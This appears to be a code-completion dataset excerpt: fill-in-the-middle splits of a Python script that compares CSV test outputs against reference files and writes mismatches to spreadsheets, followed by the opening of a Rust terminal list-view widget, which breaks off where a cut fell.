with open(logfile_name, 'w') as f:
f.write(header)
f.write(log)
if __name__ == '__main__':
main()
| create_header | identifier_name |
csv_test.py | #!/usr/bin/env python
# Copyright (C) 2014, 2015 by Ali Baharev <ali.baharev@gmail.com>
# All rights reserved.
# BSD license.
# https://github.com/baharev/CSV_Test
from __future__ import print_function
from contextlib import closing
from cStringIO import StringIO
from itertools import izip, izip_longest
from math import isnan
from os import listdir, makedirs, remove
from os.path import basename, dirname, isdir, isfile, join, splitext
import sys as _sys
from xlsxwriter import Workbook
# A hackish way to import the configuration
_sys.path.append(dirname(__file__))
from configuration import *
# TODO Project name SG2PS
# Dump CSV, with type info in the column
# NaN as NaN string
# Remove all exit() from sg2ps executable, throw test_finished exception?
# Test failures can be tested as well
#
#-------------------------------------------------------------------------------
_errors = { }
def main(extra_msg = ''):
_errors.clear()
setup_spreadsheets_dir()
passed = [ fname for fname in files_to_check() if check(fname) ]
show_summary(passed, extra_msg)
def setup_spreadsheets_dir():
if not isdir(SPREADSHEETS_DIR):
makedirs(SPREADSHEETS_DIR)
return
# clean up .xlsx files from the previous run and the log file, if any
to_del = sorted(f for f in listdir(SPREADSHEETS_DIR) if f.endswith('.xlsx'))
if isfile(join(SPREADSHEETS_DIR, LOGFILE)):
to_del.append(LOGFILE)
for f in to_del:
remove(join(SPREADSHEETS_DIR,f))
if to_del:
print('Deleted',len(to_del),'files in', SPREADSHEETS_DIR)
def files_to_check():
etalons = { f for f in listdir(ETALON_DIR) if f.endswith(EXTENSION) }
tocomps = { f for f in listdir(TOCOMP_DIR) if f.endswith(EXTENSION) }
testset = { f+EXTENSION for f in TESTSET }
if testset:
etalon_missing = testset - etalons
for e in etalon_missing:
log_error(e, 'no etalon found')
etalons &= testset
testfile_missing = testset - tocomps
for t in testfile_missing:
log_error(t, 'no test file found ')
tocomps &= testset
return sorted(etalons & tocomps)
#
ignore = { f+EXTENSION for f in IGNORE }
etalons -= ignore
tocomps -= ignore
etalon_only = etalons - tocomps
tocomp_only = tocomps - etalons
for e in etalon_only:
log_error(e, 'only etalon found but the test file is missing')
for t in tocomp_only:
log_error(t, 'the etalon is missing for this test file')
return sorted(etalons & tocomps)
def check(filename):
etalon = get_content(ETALON_DIR, filename, kind='etalon')
if etalon is None:
return
tocomp = get_content(TOCOMP_DIR, filename, kind='test')
if tocomp is None:
return
mismatch = compare_headers(etalon, tocomp)
if mismatch:
log_error(filename, 'mismatch in headers, excel sheet written')
write_mismatch(filename, etalon, tocomp, mismatch)
return
etalon_len, tocomp_len = number_of_rows(etalon, tocomp)
if etalon_len!=tocomp_len:
msg = 'number of rows: {}!={}'.format(etalon_len, tocomp_len)
log_error(filename, msg)
return
mismatch = compare_values(etalon, tocomp)
if mismatch:
log_error(filename, 'mismatch, excel sheet written')
write_mismatch(filename, etalon, tocomp, mismatch)
return
return True
def log_error(filename, msg):
assert filename not in _errors, (filename, _errors[filename])
_errors[filename] = msg
def get_content(directory, filename, kind):
header, lines = read_csv( join(directory,filename) )
col_types, error_msg = get_col_types(header)
if error_msg:
log_error(filename, '{}, header: {}'.format(kind, error_msg))
return
error_msg = check_rowlength(lines, expected_len=len(col_types))
if error_msg:
log_error(filename, '{}, {}'.format(kind, error_msg))
return
table, type_errors = convert(col_types, lines)
if type_errors:
msg = '{}, type conversion errors, excel sheet written'.format(kind)
log_error(filename, msg)
xlsxname = get_filebase(filename) + '_'+kind+'_type_error.xlsx'
write_cell_errors(xlsxname, header, lines, type_errors)
return
return header, table
def read_csv(filename):
print('Trying to read file "{}"'.format(filename))
with open(filename, 'r') as f:
header = extract_first_line(f)
lines = [ split(line) for line in f ]
print('Read {} lines'.format( bool(header) + len(lines) ))
return header, lines
def extract_first_line(f):
header = next(f, None)
return split(header) if header else [ ]
def split(line):
return line.rstrip('\r\n').split(SEP)
def get_col_types(header):
# Returns ([type converters], error message). Exactly one of them is None.
# Only the first error is logged.
|
def check_rowlength(lines, expected_len):
# Returns error message on error, None otherwise.
# The first row is the header, and error messages use base 1 indices
indices = [i for i, row in enumerate(lines, 2) if len(row)!=expected_len]
if indices:
return 'row length error in rows (header is row 1): {}'.format(indices)
return None
def convert(col_types, lines):
# Returns the tuple of: lines converted to a 2D table with proper types, and
# the cell indices where type conversion error occured.
table, type_errors = [ ], [ ]
for i, line in enumerate(lines,1):
row = [ ]
for j, col in enumerate(line):
try:
row.append( col_types[j](col) )
except:
row.append( None )
type_errors.append((i,j))
assert len(row)==len(col_types)
table.append(row)
return table if len(type_errors)==0 else [ ], type_errors
def get_filebase(path):
return splitext(basename(path))[0]
def write_cell_errors(xlsxname, header, lines, cells_to_mark):
workbook = Workbook(join(SPREADSHEETS_DIR, xlsxname))
cell_fmt = workbook.add_format()
cell_fmt.set_bg_color('cyan')
worksheet = workbook.add_worksheet()
write_sheet(worksheet, cell_fmt, header, lines, cells_to_mark)
workbook.close()
def write_mismatch(filename, etalon, tocomp, mismatch):
workbook = Workbook(join(SPREADSHEETS_DIR, get_filebase(filename)+'.xlsx'))
cell_fmt = workbook.add_format()
cell_fmt.set_bg_color('cyan')
worksheet = workbook.add_worksheet(name='test')
write_sheet(worksheet, cell_fmt, *tocomp, cells_to_mark=mismatch)
worksheet = workbook.add_worksheet(name='etalon')
write_sheet(worksheet, cell_fmt, *etalon)
workbook.close()
def write_sheet(worksheet, cell_fmt, header, lines, cells_to_mark=[]):
formatter = { cell : cell_fmt for cell in cells_to_mark }
for j, col_header in enumerate(header):
worksheet.write(0, j, col_header, formatter.get((0,j), None))
for i, line in enumerate(lines, 1):
for j, item in enumerate(line):
worksheet.write(i,j, replace_nan(item), formatter.get((i,j),None))
def replace_nan(item):
return 'NaN' if isinstance(item, float) and isnan(item) else item
def compare_headers(etalon, tocomp):
mismatch = [ ]
e_head, _ = etalon
t_head, _ = tocomp
for i, (eh, th) in enumerate(izip_longest(e_head, t_head, fillvalue='')):
if eh!=th:
mismatch.append((0,i))
return mismatch
def number_of_rows(etalon, tocomp):
return len(etalon[1]), len(tocomp[1])
def compare_values(etalon, tocomp):
mismatch = [ ]
_, e_table = etalon
_, t_table = tocomp
for i, (e_row, t_row) in enumerate(izip(e_table, t_table), 1):
for j, (e_item, t_item) in enumerate(izip(e_row, t_row)):
if not equals(e_item, t_item):
mismatch.append((i,j))
return mismatch
def equals(e, t):
return compare_floats(e, t) if isinstance(e, float) else e==t
def compare_floats(e, t):
e_nan, t_nan = isnan(e), isnan(t)
if e_nan and t_nan:
return True
elif e_nan or t_nan:
return False
else:
assert not e_nan and not t_nan
diff = abs(e-t)
return diff < ABS_TOL or diff < REL_TOL*abs(e)
def show_summary(passed, extra_msg):
header = create_header(passed, extra_msg)
print()
print(header)
if passed:
print('Passed: {} files'.format(len(passed)))
if _errors:
log = create_error_log()
print(log)
write_errors(header, log)
print('Tests FAILED! Check "{}"'.format(SPREADSHEETS_DIR))
elif passed:
print('Tests PASSED!')
else:
print('Something is strange: Are the directories empty?')
if ETALON_DIR==TOCOMP_DIR:
print('WARNING: The etalon directory has been compared to itself!')
if TESTSET:
print('WARNING: Only the given test set has been checked!')
elif IGNORE:
print('WARNING: There were ignored files!')
def create_header(passed, extra_msg):
with closing(StringIO()) as out:
out.write('Passed:\n')
for p in passed:
out.write(p)
out.write('\n')
out.write('=========================================================\n')
if extra_msg:
out.write( extra_msg + '\n' )
out.write('Etalon directory: "{}"\n'.format(ETALON_DIR))
out.write('Compared against: "{}"\n'.format(TOCOMP_DIR))
return out.getvalue()
def create_error_log():
with closing(StringIO()) as out:
out.write('There were errors:\n')
for fname, msg in sorted(_errors.iteritems()):
out.write(' {} {}\n'.format(fname,msg))
return out.getvalue()
def write_errors(header, log):
logfile_name = join(SPREADSHEETS_DIR, 'log.txt')
with open(logfile_name, 'w') as f:
f.write(header)
f.write(log)
if __name__ == '__main__':
main()
| if len(header)==0:
return None, 'missing'
col_types = [ TO_TYPE.get(col[-1:], None) for col in header ]
for i, typ in enumerate(col_types):
if typ is None:
msg = 'unrecognized type in column {}: "{}"'.format(i+1, header[i])
return None, msg
assert len(col_types)==len(header)
return col_types, None | identifier_body |
csv_test.py | #!/usr/bin/env python
# Copyright (C) 2014, 2015 by Ali Baharev <ali.baharev@gmail.com>
# All rights reserved.
# BSD license.
# https://github.com/baharev/CSV_Test
from __future__ import print_function
from contextlib import closing
from cStringIO import StringIO
from itertools import izip, izip_longest
from math import isnan
from os import listdir, makedirs, remove
from os.path import basename, dirname, isdir, isfile, join, splitext
import sys as _sys
from xlsxwriter import Workbook
# A hackish way to import the configuration
_sys.path.append(dirname(__file__))
from configuration import *
# TODO Project name SG2PS
# Dump CSV, with type info in the column
# NaN as NaN string
# Remove all exit() from sg2ps executable, throw test_finished exception?
# Test failures can be tested as well
#
#-------------------------------------------------------------------------------
_errors = { }
def main(extra_msg = ''):
_errors.clear()
setup_spreadsheets_dir()
passed = [ fname for fname in files_to_check() if check(fname) ]
show_summary(passed, extra_msg)
def setup_spreadsheets_dir():
if not isdir(SPREADSHEETS_DIR):
makedirs(SPREADSHEETS_DIR)
return
# clean up .xlsx files from the previous run and the log file, if any
to_del = sorted(f for f in listdir(SPREADSHEETS_DIR) if f.endswith('.xlsx'))
if isfile(join(SPREADSHEETS_DIR, LOGFILE)):
to_del.append(LOGFILE)
for f in to_del:
remove(join(SPREADSHEETS_DIR,f))
if to_del:
print('Deleted',len(to_del),'files in', SPREADSHEETS_DIR)
def files_to_check():
etalons = { f for f in listdir(ETALON_DIR) if f.endswith(EXTENSION) }
tocomps = { f for f in listdir(TOCOMP_DIR) if f.endswith(EXTENSION) }
testset = { f+EXTENSION for f in TESTSET }
if testset:
etalon_missing = testset - etalons
for e in etalon_missing:
log_error(e, 'no etalon found')
etalons &= testset
testfile_missing = testset - tocomps
for t in testfile_missing:
log_error(t, 'no test file found ')
tocomps &= testset
return sorted(etalons & tocomps)
#
ignore = { f+EXTENSION for f in IGNORE }
etalons -= ignore
tocomps -= ignore
etalon_only = etalons - tocomps
tocomp_only = tocomps - etalons
for e in etalon_only:
log_error(e, 'only etalon found but the test file is missing')
for t in tocomp_only:
log_error(t, 'the etalon is missing for this test file')
return sorted(etalons & tocomps)
def check(filename):
etalon = get_content(ETALON_DIR, filename, kind='etalon')
if etalon is None:
return
tocomp = get_content(TOCOMP_DIR, filename, kind='test')
if tocomp is None:
return
mismatch = compare_headers(etalon, tocomp)
if mismatch:
log_error(filename, 'mismatch in headers, excel sheet written')
write_mismatch(filename, etalon, tocomp, mismatch)
return
etalon_len, tocomp_len = number_of_rows(etalon, tocomp)
if etalon_len!=tocomp_len:
|
mismatch = compare_values(etalon, tocomp)
if mismatch:
log_error(filename, 'mismatch, excel sheet written')
write_mismatch(filename, etalon, tocomp, mismatch)
return
return True
def log_error(filename, msg):
assert filename not in _errors, (filename, _errors[filename])
_errors[filename] = msg
def get_content(directory, filename, kind):
header, lines = read_csv( join(directory,filename) )
col_types, error_msg = get_col_types(header)
if error_msg:
log_error(filename, '{}, header: {}'.format(kind, error_msg))
return
error_msg = check_rowlength(lines, expected_len=len(col_types))
if error_msg:
log_error(filename, '{}, {}'.format(kind, error_msg))
return
table, type_errors = convert(col_types, lines)
if type_errors:
msg = '{}, type conversion errors, excel sheet written'.format(kind)
log_error(filename, msg)
xlsxname = get_filebase(filename) + '_'+kind+'_type_error.xlsx'
write_cell_errors(xlsxname, header, lines, type_errors)
return
return header, table
def read_csv(filename):
print('Trying to read file "{}"'.format(filename))
with open(filename, 'r') as f:
header = extract_first_line(f)
lines = [ split(line) for line in f ]
print('Read {} lines'.format( bool(header) + len(lines) ))
return header, lines
def extract_first_line(f):
header = next(f, None)
return split(header) if header else [ ]
def split(line):
return line.rstrip('\r\n').split(SEP)
def get_col_types(header):
# Returns ([type converters], error message). Exactly one of them is None.
# Only the first error is logged.
if len(header)==0:
return None, 'missing'
col_types = [ TO_TYPE.get(col[-1:], None) for col in header ]
for i, typ in enumerate(col_types):
if typ is None:
msg = 'unrecognized type in column {}: "{}"'.format(i+1, header[i])
return None, msg
assert len(col_types)==len(header)
return col_types, None
def check_rowlength(lines, expected_len):
# Returns error message on error, None otherwise.
# The first row is the header, and error messages use base 1 indices
indices = [i for i, row in enumerate(lines, 2) if len(row)!=expected_len]
if indices:
return 'row length error in rows (header is row 1): {}'.format(indices)
return None
def convert(col_types, lines):
# Returns the tuple of: lines converted to a 2D table with proper types, and
# the cell indices where type conversion error occured.
table, type_errors = [ ], [ ]
for i, line in enumerate(lines,1):
row = [ ]
for j, col in enumerate(line):
try:
row.append( col_types[j](col) )
except:
row.append( None )
type_errors.append((i,j))
assert len(row)==len(col_types)
table.append(row)
return table if len(type_errors)==0 else [ ], type_errors
def get_filebase(path):
return splitext(basename(path))[0]
def write_cell_errors(xlsxname, header, lines, cells_to_mark):
workbook = Workbook(join(SPREADSHEETS_DIR, xlsxname))
cell_fmt = workbook.add_format()
cell_fmt.set_bg_color('cyan')
worksheet = workbook.add_worksheet()
write_sheet(worksheet, cell_fmt, header, lines, cells_to_mark)
workbook.close()
def write_mismatch(filename, etalon, tocomp, mismatch):
workbook = Workbook(join(SPREADSHEETS_DIR, get_filebase(filename)+'.xlsx'))
cell_fmt = workbook.add_format()
cell_fmt.set_bg_color('cyan')
worksheet = workbook.add_worksheet(name='test')
write_sheet(worksheet, cell_fmt, *tocomp, cells_to_mark=mismatch)
worksheet = workbook.add_worksheet(name='etalon')
write_sheet(worksheet, cell_fmt, *etalon)
workbook.close()
def write_sheet(worksheet, cell_fmt, header, lines, cells_to_mark=[]):
formatter = { cell : cell_fmt for cell in cells_to_mark }
for j, col_header in enumerate(header):
worksheet.write(0, j, col_header, formatter.get((0,j), None))
for i, line in enumerate(lines, 1):
for j, item in enumerate(line):
worksheet.write(i,j, replace_nan(item), formatter.get((i,j),None))
def replace_nan(item):
return 'NaN' if isinstance(item, float) and isnan(item) else item
def compare_headers(etalon, tocomp):
mismatch = [ ]
e_head, _ = etalon
t_head, _ = tocomp
for i, (eh, th) in enumerate(izip_longest(e_head, t_head, fillvalue='')):
if eh!=th:
mismatch.append((0,i))
return mismatch
def number_of_rows(etalon, tocomp):
return len(etalon[1]), len(tocomp[1])
def compare_values(etalon, tocomp):
mismatch = [ ]
_, e_table = etalon
_, t_table = tocomp
for i, (e_row, t_row) in enumerate(izip(e_table, t_table), 1):
for j, (e_item, t_item) in enumerate(izip(e_row, t_row)):
if not equals(e_item, t_item):
mismatch.append((i,j))
return mismatch
def equals(e, t):
return compare_floats(e, t) if isinstance(e, float) else e==t
def compare_floats(e, t):
e_nan, t_nan = isnan(e), isnan(t)
if e_nan and t_nan:
return True
elif e_nan or t_nan:
return False
else:
assert not e_nan and not t_nan
diff = abs(e-t)
return diff < ABS_TOL or diff < REL_TOL*abs(e)
def show_summary(passed, extra_msg):
header = create_header(passed, extra_msg)
print()
print(header)
if passed:
print('Passed: {} files'.format(len(passed)))
if _errors:
log = create_error_log()
print(log)
write_errors(header, log)
print('Tests FAILED! Check "{}"'.format(SPREADSHEETS_DIR))
elif passed:
print('Tests PASSED!')
else:
print('Something is strange: Are the directories empty?')
if ETALON_DIR==TOCOMP_DIR:
print('WARNING: The etalon directory has been compared to itself!')
if TESTSET:
print('WARNING: Only the given test set has been checked!')
elif IGNORE:
print('WARNING: There were ignored files!')
def create_header(passed, extra_msg):
with closing(StringIO()) as out:
out.write('Passed:\n')
for p in passed:
out.write(p)
out.write('\n')
out.write('=========================================================\n')
if extra_msg:
out.write( extra_msg + '\n' )
out.write('Etalon directory: "{}"\n'.format(ETALON_DIR))
out.write('Compared against: "{}"\n'.format(TOCOMP_DIR))
return out.getvalue()
def create_error_log():
with closing(StringIO()) as out:
out.write('There were errors:\n')
for fname, msg in sorted(_errors.iteritems()):
out.write(' {} {}\n'.format(fname,msg))
return out.getvalue()
def write_errors(header, log):
logfile_name = join(SPREADSHEETS_DIR, 'log.txt')
with open(logfile_name, 'w') as f:
f.write(header)
f.write(log)
if __name__ == '__main__':
main()
| msg = 'number of rows: {}!={}'.format(etalon_len, tocomp_len)
log_error(filename, msg)
return | conditional_block |
csv_test.py | #!/usr/bin/env python
# Copyright (C) 2014, 2015 by Ali Baharev <ali.baharev@gmail.com>
# All rights reserved.
# BSD license.
# https://github.com/baharev/CSV_Test
from __future__ import print_function
from contextlib import closing
from cStringIO import StringIO
from itertools import izip, izip_longest
from math import isnan
from os import listdir, makedirs, remove
from os.path import basename, dirname, isdir, isfile, join, splitext
import sys as _sys
from xlsxwriter import Workbook
# A hackish way to import the configuration
_sys.path.append(dirname(__file__))
from configuration import *
# TODO Project name SG2PS
# Dump CSV, with type info in the column
# NaN as NaN string
# Remove all exit() from sg2ps executable, throw test_finished exception?
# Test failures can be tested as well
#
#-------------------------------------------------------------------------------
_errors = { }
def main(extra_msg = ''):
_errors.clear()
setup_spreadsheets_dir()
passed = [ fname for fname in files_to_check() if check(fname) ]
show_summary(passed, extra_msg)
def setup_spreadsheets_dir():
if not isdir(SPREADSHEETS_DIR):
makedirs(SPREADSHEETS_DIR)
return
# clean up .xlsx files from the previous run and the log file, if any
to_del = sorted(f for f in listdir(SPREADSHEETS_DIR) if f.endswith('.xlsx'))
if isfile(join(SPREADSHEETS_DIR, LOGFILE)):
to_del.append(LOGFILE)
for f in to_del:
remove(join(SPREADSHEETS_DIR,f))
if to_del:
print('Deleted',len(to_del),'files in', SPREADSHEETS_DIR)
def files_to_check():
etalons = { f for f in listdir(ETALON_DIR) if f.endswith(EXTENSION) }
tocomps = { f for f in listdir(TOCOMP_DIR) if f.endswith(EXTENSION) }
testset = { f+EXTENSION for f in TESTSET }
if testset:
etalon_missing = testset - etalons
for e in etalon_missing:
log_error(e, 'no etalon found')
etalons &= testset
testfile_missing = testset - tocomps
for t in testfile_missing:
log_error(t, 'no test file found ')
tocomps &= testset
return sorted(etalons & tocomps)
#
ignore = { f+EXTENSION for f in IGNORE }
etalons -= ignore
tocomps -= ignore
etalon_only = etalons - tocomps
tocomp_only = tocomps - etalons
for e in etalon_only:
log_error(e, 'only etalon found but the test file is missing')
for t in tocomp_only:
log_error(t, 'the etalon is missing for this test file')
return sorted(etalons & tocomps)
def check(filename):
etalon = get_content(ETALON_DIR, filename, kind='etalon')
if etalon is None:
return
tocomp = get_content(TOCOMP_DIR, filename, kind='test')
if tocomp is None:
return
mismatch = compare_headers(etalon, tocomp)
if mismatch:
log_error(filename, 'mismatch in headers, excel sheet written')
write_mismatch(filename, etalon, tocomp, mismatch)
return
etalon_len, tocomp_len = number_of_rows(etalon, tocomp)
if etalon_len!=tocomp_len:
msg = 'number of rows: {}!={}'.format(etalon_len, tocomp_len)
log_error(filename, msg)
return
mismatch = compare_values(etalon, tocomp)
if mismatch:
log_error(filename, 'mismatch, excel sheet written')
write_mismatch(filename, etalon, tocomp, mismatch)
return
return True
def log_error(filename, msg):
assert filename not in _errors, (filename, _errors[filename])
_errors[filename] = msg
def get_content(directory, filename, kind):
header, lines = read_csv( join(directory,filename) )
col_types, error_msg = get_col_types(header)
if error_msg:
log_error(filename, '{}, header: {}'.format(kind, error_msg))
return
error_msg = check_rowlength(lines, expected_len=len(col_types))
if error_msg:
log_error(filename, '{}, {}'.format(kind, error_msg))
return
table, type_errors = convert(col_types, lines)
if type_errors:
msg = '{}, type conversion errors, excel sheet written'.format(kind)
log_error(filename, msg)
xlsxname = get_filebase(filename) + '_'+kind+'_type_error.xlsx'
write_cell_errors(xlsxname, header, lines, type_errors) | with open(filename, 'r') as f:
header = extract_first_line(f)
lines = [ split(line) for line in f ]
print('Read {} lines'.format( bool(header) + len(lines) ))
return header, lines
def extract_first_line(f):
header = next(f, None)
return split(header) if header else [ ]
def split(line):
return line.rstrip('\r\n').split(SEP)
def get_col_types(header):
# Returns ([type converters], error message). Exactly one of them is None.
# Only the first error is logged.
if len(header)==0:
return None, 'missing'
col_types = [ TO_TYPE.get(col[-1:], None) for col in header ]
for i, typ in enumerate(col_types):
if typ is None:
msg = 'unrecognized type in column {}: "{}"'.format(i+1, header[i])
return None, msg
assert len(col_types)==len(header)
return col_types, None
def check_rowlength(lines, expected_len):
# Returns error message on error, None otherwise.
# The first row is the header, and error messages use base 1 indices
indices = [i for i, row in enumerate(lines, 2) if len(row)!=expected_len]
if indices:
return 'row length error in rows (header is row 1): {}'.format(indices)
return None
def convert(col_types, lines):
# Returns the tuple of: lines converted to a 2D table with proper types, and
# the cell indices where type conversion error occured.
table, type_errors = [ ], [ ]
for i, line in enumerate(lines,1):
row = [ ]
for j, col in enumerate(line):
try:
row.append( col_types[j](col) )
except:
row.append( None )
type_errors.append((i,j))
assert len(row)==len(col_types)
table.append(row)
return table if len(type_errors)==0 else [ ], type_errors
def get_filebase(path):
return splitext(basename(path))[0]
def write_cell_errors(xlsxname, header, lines, cells_to_mark):
workbook = Workbook(join(SPREADSHEETS_DIR, xlsxname))
cell_fmt = workbook.add_format()
cell_fmt.set_bg_color('cyan')
worksheet = workbook.add_worksheet()
write_sheet(worksheet, cell_fmt, header, lines, cells_to_mark)
workbook.close()
def write_mismatch(filename, etalon, tocomp, mismatch):
workbook = Workbook(join(SPREADSHEETS_DIR, get_filebase(filename)+'.xlsx'))
cell_fmt = workbook.add_format()
cell_fmt.set_bg_color('cyan')
worksheet = workbook.add_worksheet(name='test')
write_sheet(worksheet, cell_fmt, *tocomp, cells_to_mark=mismatch)
worksheet = workbook.add_worksheet(name='etalon')
write_sheet(worksheet, cell_fmt, *etalon)
workbook.close()
def write_sheet(worksheet, cell_fmt, header, lines, cells_to_mark=[]):
formatter = { cell : cell_fmt for cell in cells_to_mark }
for j, col_header in enumerate(header):
worksheet.write(0, j, col_header, formatter.get((0,j), None))
for i, line in enumerate(lines, 1):
for j, item in enumerate(line):
worksheet.write(i,j, replace_nan(item), formatter.get((i,j),None))
def replace_nan(item):
return 'NaN' if isinstance(item, float) and isnan(item) else item
def compare_headers(etalon, tocomp):
mismatch = [ ]
e_head, _ = etalon
t_head, _ = tocomp
for i, (eh, th) in enumerate(izip_longest(e_head, t_head, fillvalue='')):
if eh!=th:
mismatch.append((0,i))
return mismatch
def number_of_rows(etalon, tocomp):
return len(etalon[1]), len(tocomp[1])
def compare_values(etalon, tocomp):
mismatch = [ ]
_, e_table = etalon
_, t_table = tocomp
for i, (e_row, t_row) in enumerate(izip(e_table, t_table), 1):
for j, (e_item, t_item) in enumerate(izip(e_row, t_row)):
if not equals(e_item, t_item):
mismatch.append((i,j))
return mismatch
def equals(e, t):
return compare_floats(e, t) if isinstance(e, float) else e==t
def compare_floats(e, t):
e_nan, t_nan = isnan(e), isnan(t)
if e_nan and t_nan:
return True
elif e_nan or t_nan:
return False
else:
assert not e_nan and not t_nan
diff = abs(e-t)
return diff < ABS_TOL or diff < REL_TOL*abs(e)
def show_summary(passed, extra_msg):
header = create_header(passed, extra_msg)
print()
print(header)
if passed:
print('Passed: {} files'.format(len(passed)))
if _errors:
log = create_error_log()
print(log)
write_errors(header, log)
print('Tests FAILED! Check "{}"'.format(SPREADSHEETS_DIR))
elif passed:
print('Tests PASSED!')
else:
print('Something is strange: Are the directories empty?')
if ETALON_DIR==TOCOMP_DIR:
print('WARNING: The etalon directory has been compared to itself!')
if TESTSET:
print('WARNING: Only the given test set has been checked!')
elif IGNORE:
print('WARNING: There were ignored files!')
def create_header(passed, extra_msg):
with closing(StringIO()) as out:
out.write('Passed:\n')
for p in passed:
out.write(p)
out.write('\n')
out.write('=========================================================\n')
if extra_msg:
out.write( extra_msg + '\n' )
out.write('Etalon directory: "{}"\n'.format(ETALON_DIR))
out.write('Compared against: "{}"\n'.format(TOCOMP_DIR))
return out.getvalue()
def create_error_log():
with closing(StringIO()) as out:
out.write('There were errors:\n')
for fname, msg in sorted(_errors.iteritems()):
out.write(' {} {}\n'.format(fname,msg))
return out.getvalue()
def write_errors(header, log):
logfile_name = join(SPREADSHEETS_DIR, 'log.txt')
with open(logfile_name, 'w') as f:
f.write(header)
f.write(log)
if __name__ == '__main__':
main() | return
return header, table
def read_csv(filename):
print('Trying to read file "{}"'.format(filename)) | random_line_split |
list_view.rs | use std::{
cmp::Ordering,
io::{stdout, Write},
};
use crossterm::{
cursor::MoveTo,
queue,
style::{Color, SetBackgroundColor},
terminal::{Clear, ClearType},
};
use crate::{
compute_scrollbar, errors::Result, gray, Alignment, Area, CompoundStyle, MadSkin, Spacing,
};
pub struct ListViewCell<'t> {
con: String,
style: &'t CompoundStyle,
width: usize, // length of content in chars
}
pub struct Title {
columns: Vec<usize>, // the column(s) below this title
}
pub struct ListViewColumn<'t, T> {
title: String,
min_width: usize,
max_width: usize,
spacing: Spacing,
extract: Box<dyn Fn(&T) -> ListViewCell<'t>>, // a function building cells from the rows
}
struct Row<T> {
data: T,
displayed: bool,
}
/// A filterable list whose columns can be automatically resized.
///
///
/// Notes:
/// * another version will allow more than one style per cell
/// (i.e. make the cells composites rather than compounds). Shout
/// out if you need that now.
/// * this version doesn't allow cell wrapping
#[allow(clippy::type_complexity)]
pub struct ListView<'t, T> {
titles: Vec<Title>,
columns: Vec<ListViewColumn<'t, T>>,
rows: Vec<Row<T>>,
pub area: Area,
scroll: usize,
pub skin: &'t MadSkin,
filter: Option<Box<dyn Fn(&T) -> bool>>, // a function determining if the row must be displayed
displayed_rows_count: usize,
row_order: Option<Box<dyn Fn(&T, &T) -> Ordering>>,
selection: Option<usize>, // index of the selected line
selection_background: Color,
}
impl<'t> ListViewCell<'t> {
pub fn new(con: String, style: &'t CompoundStyle) -> Self {
let width = con.chars().count();
Self { con, style, width }
}
}
impl<'t, T> ListViewColumn<'t, T> {
pub fn new(
title: &str,
min_width: usize,
max_width: usize,
extract: Box<dyn Fn(&T) -> ListViewCell<'t>>,
) -> Self {
Self {
title: title.to_owned(),
min_width,
max_width,
spacing: Spacing {
width: min_width,
align: Alignment::Center,
},
extract,
}
}
pub const fn with_align(mut self, align: Alignment) -> Self {
self.spacing.align = align;
self
}
}
impl<'t, T> ListView<'t, T> {
/// Create a new list view with the passed columns.
///
/// The columns can't be changed afterwards but the area can be modified.
/// When two columns have the same title, those titles are merged (but
/// the columns below stay separated).
pub fn new(area: Area, columns: Vec<ListViewColumn<'t, T>>, skin: &'t MadSkin) -> Self {
let mut titles: Vec<Title> = Vec::new();
for (column_idx, column) in columns.iter().enumerate() {
if let Some(last_title) = titles.last_mut() {
if columns[last_title.columns[0]].title == column.title {
// we merge those columns titles
last_title.columns.push(column_idx);
continue;
}
}
// this is a new title
titles.push(Title {
columns: vec![column_idx],
});
}
Self {
titles,
columns,
rows: Vec::new(),
area,
scroll: 0,
skin,
filter: None,
displayed_rows_count: 0,
row_order: None,
selection: None,
selection_background: gray(5),
}
}
/// set a comparator for row sorting
#[allow(clippy::type_complexity)]
pub fn sort(&mut self, sort: Box<dyn Fn(&T, &T) -> Ordering>) {
self.row_order = Some(sort);
}
/// return the height which is available for rows
#[inline(always)]
pub const fn tbody_height(&self) -> u16 {
if self.area.height > 2 | else {
self.area.height
}
}
/// return an option which when filled contains
/// a tupple with the top and bottom of the vertical
/// scrollbar. Return none when the content fits
/// the available space.
#[inline(always)]
pub fn scrollbar(&self) -> Option<(u16, u16)> {
compute_scrollbar(
self.scroll as u16,
self.displayed_rows_count as u16,
self.tbody_height(),
self.area.top,
)
}
pub fn add_row(&mut self, data: T) {
let stick_to_bottom = self.row_order.is_none() && self.do_scroll_show_bottom();
let displayed = match &self.filter {
Some(fun) => fun(&data),
None => true,
};
if displayed {
self.displayed_rows_count += 1;
}
if stick_to_bottom {
self.scroll_to_bottom();
}
self.rows.push(Row { data, displayed });
if let Some(row_order) = &self.row_order {
self.rows.sort_by(|a, b| row_order(&a.data, &b.data));
}
}
/// remove all rows (and selection).
///
/// Keep the columns and the sort function, if any.
pub fn clear_rows(&mut self) {
self.rows.clear();
self.scroll = 0;
self.displayed_rows_count = 0;
self.selection = None;
}
/// return both the number of displayed rows and the total number
pub fn row_counts(&self) -> (usize, usize) {
(self.displayed_rows_count, self.rows.len())
}
/// recompute the widths of all columns.
/// This should be called when the area size is modified
pub fn update_dimensions(&mut self) {
let available_width: i32 =
i32::from(self.area.width)
- (self.columns.len() as i32 - 1) // we remove the separator
- 1; // we remove 1 to let space for the scrollbar
let sum_min_widths: i32 = self.columns.iter().map(|c| c.min_width as i32).sum();
if sum_min_widths >= available_width {
for i in 0..self.columns.len() {
self.columns[i].spacing.width = self.columns[i].min_width;
}
} else {
let mut excess = available_width - sum_min_widths;
for i in 0..self.columns.len() {
let d =
((self.columns[i].max_width - self.columns[i].min_width) as i32).min(excess);
excess -= d;
self.columns[i].spacing.width = self.columns[i].min_width + d as usize;
}
// there might be some excess, but it's better to have some space at right rather
// than a too wide table
}
}
pub fn set_filter(&mut self, filter: Box<dyn Fn(&T) -> bool>) {
let mut count = 0;
for row in self.rows.iter_mut() {
row.displayed = filter(&row.data);
if row.displayed {
count += 1;
}
}
self.scroll = 0; // something better should be done... later
self.displayed_rows_count = count;
self.filter = Some(filter);
}
pub fn remove_filter(&mut self) {
for row in self.rows.iter_mut() {
row.displayed = true;
}
self.displayed_rows_count = self.rows.len();
self.filter = None;
}
/// write the list view on the given writer
pub fn write_on<W>(&self, w: &mut W) -> Result<()>
where
W: std::io::Write,
{
let sx = self.area.left + self.area.width;
let vbar = self.skin.table.compound_style.style_char('│');
let tee = self.skin.table.compound_style.style_char('┬');
let cross = self.skin.table.compound_style.style_char('┼');
let hbar = self.skin.table.compound_style.style_char('─');
// title line
queue!(w, MoveTo(self.area.left, self.area.top))?;
for (title_idx, title) in self.titles.iter().enumerate() {
if title_idx != 0 {
vbar.queue(w)?;
}
let width = title
.columns
.iter()
.map(|ci| self.columns[*ci].spacing.width)
.sum::<usize>()
